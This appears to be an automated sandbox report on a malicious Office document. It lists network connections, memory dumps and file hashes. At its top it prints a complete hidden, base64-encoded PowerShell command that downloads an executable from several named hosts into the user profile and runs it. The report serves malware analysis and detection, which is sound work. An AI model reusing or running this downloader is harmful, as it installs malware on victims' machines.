Powershell -w hidden -en JABHAHgAZgB5AGcAaQBmAGIAcgBjAGQAPQAnAFMAcQBwAGoAdAB1AHAAZAB1AHAAeAAnADsAJABVAHkAcABkAGwAZQBpAHMAaAB1AGcAIAA9ACAAJwAxADYAMgAnADsAJABCAGcAYgB3AHcAbABjAGIAagB2AGcAaQA9ACcATABjAHcAbQBjAHcAbABzACcAOwAkAFIAYwBkAHQAaABnAGEAZQBwAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAeQBwAGQAbABlAGkAcwBoAHUAZwArACcALgBlAHgAZQAnADsAJABCAG0AYgBuAGwAaQBoAHQAYwBuAGUAdQBxAD0AJwBPAG0AcgBoAHUAYwBrAGgAbAAnADsAJABGAGYAaQB2AGQAdQBxAGkAdgBrAHMAZgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAUABhAGEAdABnAGUAagBhAHcAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAHAAZQB0AGUAcgBzAG8AbgAuAGYAdQB0AHUAcgBpAHMAbQBkAGUAbQBvAC4AYwBvAG0ALwBhAHIAYwBoAGkAdgBlAC8AeQA1AG8ANwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAbgBjAC4AaABhAHAAcABlAG4AaQB6AGUAZABlAHYALgBjAG8AbQAvAGIAYQBjAGsAdQBwAC8AbgA5ADkAdQBmAC8AKgBoAHQAdABwADoALwAvAG8AZABvAG8ALQBhAGMAYwBvAHUAbgB0AGkAbgBnAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBzAGUAYQByAGMAaAAvAFIALwAqAGgAdAB0AHAAOgAvAC8AbQBvAG4AbwBjAGwAZQBwAGUAdABlAHMALgBjAG8AbQAvAGQAaQBzAG4AZQB5AHcAbwByAGwAZABjAGwAYQBzAHMAcgBvAG8AbQAvAHMAeQA1ADIAagA3AC8AKgBoAHQAdABwADoALwAvAGIAYQBrAGUAcwB0AG8AcgBpAGUAcwAuAGMAbwBtAC8AMABoAGkAawB2AGgALwBKAG0ANABRAFQAcwBIAHcARgAvACcALgAiAFMAcABMAGAAaQBUACIAKAAnACoAJwApADsAJABTAGwAYgBpAGkAagBkAGMAdgBrAGsAcAA9ACcATgBtAGcAeQB6AHIAbABxACcAOwBmAG8AcgBlAGEAYwBoACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsAIABpAG4AIAAkAFAAYQBhAHQAZwBlAGoAYQB3ACkAewB0AHIAeQB7ACQARgBmAGkAdgBkAHUAcQBpAHYAawBzAGYALgAiAEQAYABvAHcAbgBgAEwATwBhAEQARgBJAEwARQAiACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsALAAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApADsAJABKAHUAawBpAHcAcQBlAHAAdgB0AHAAPQAnAFQAZgB1AHIAbwBrAHcAZQB4AGIAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApAC4AIgBMAGAAZQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMwAyADAAMgA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABBAGAAUgB0ACIAKAAkAFIAYwBkAHQAaABnAGEAZQBwAHUAKQA7ACQATQBhAGcAYwBmAG8AeQBvAHkAdgA9ACcARwB1AHQAeABsAHIAdQBtACcAOwBiAHIAZQBhAGsAOwAkAFoAdwBmAGoAaQBtAHMAZQBiAD0AJwBWAGQAdQBtAG4AcgBlAHYAcQB3AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBrAGQAZAB1AHAAdgBxAHEAPQAnAEsAdwB2AGYAbAB2AHQAdAAnAA==

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 97.32.109.52.in-addr.arpa udp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 bepeterson.futurismdemo.com udp
US 169.48.75.46:80 bepeterson.futurismdemo.com tcp
US 8.8.8.8:53 11.179.89.13.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
GB 92.123.26.202:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.136:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 202.26.123.92.in-addr.arpa udp
US 8.8.8.8:53 136.252.19.2.in-addr.arpa udp
US 8.8.8.8:53 www.gnc.happenizedev.com udp
US 8.8.8.8:53 odoo-accounting.com udp
US 104.21.38.27:80 odoo-accounting.com tcp
US 8.8.8.8:53 monoclepetes.com udp
US 162.241.24.68:80 monoclepetes.com tcp
US 162.241.24.68:443 monoclepetes.com tcp
US 8.8.8.8:53 27.38.21.104.in-addr.arpa udp
US 8.8.8.8:53 bakestories.com udp
IN 103.159.84.68:80 bakestories.com tcp
US 8.8.8.8:53 68.24.241.162.in-addr.arpa udp
US 8.8.8.8:53 68.84.159.103.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 92.12.20.2.in-addr.arpa udp

Files

memory/1116-0-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

memory/1116-3-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

memory/1116-1-0x00007FFDB850D000-0x00007FFDB850E000-memory.dmp

memory/1116-2-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

memory/1116-4-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

memory/1116-5-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

memory/1116-7-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

memory/1116-6-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

memory/1116-9-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

memory/1116-8-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

memory/1116-11-0x00007FFD76230000-0x00007FFD76240000-memory.dmp

memory/1116-10-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

memory/1116-12-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

memory/1116-13-0x00007FFD76230000-0x00007FFD76240000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\FA427C1B.wmf

MD5 88ab29d9b0fc8d219a7e8d9c448821ca
SHA1 b9c56f5e9e99c8702c85daac3a20540bc4ead95c
SHA256 c43e3fe5065eee4145c2c7208894d7cd34c8d90002f121d88a16bd6b6bce0ea2
SHA512 9f335ce8148ad80891936e6c2432b58cfe3df1935415f262d337117c8f1bcc2b243c5b57e0c2e3423df3c6da3a1ee254d87d506bf5eb316a1deb8c4a19d222ea

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xfnilgmp.ue4.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/916-65-0x0000025CEDEB0000-0x0000025CEDED2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

memory/1116-84-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

memory/1116-85-0x00007FFDB850D000-0x00007FFDB850E000-memory.dmp

memory/1116-86-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

memory/1116-87-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TCD6FC0.tmp\sist02.xsl

MD5 f883b260a8d67082ea895c14bf56dd56
SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e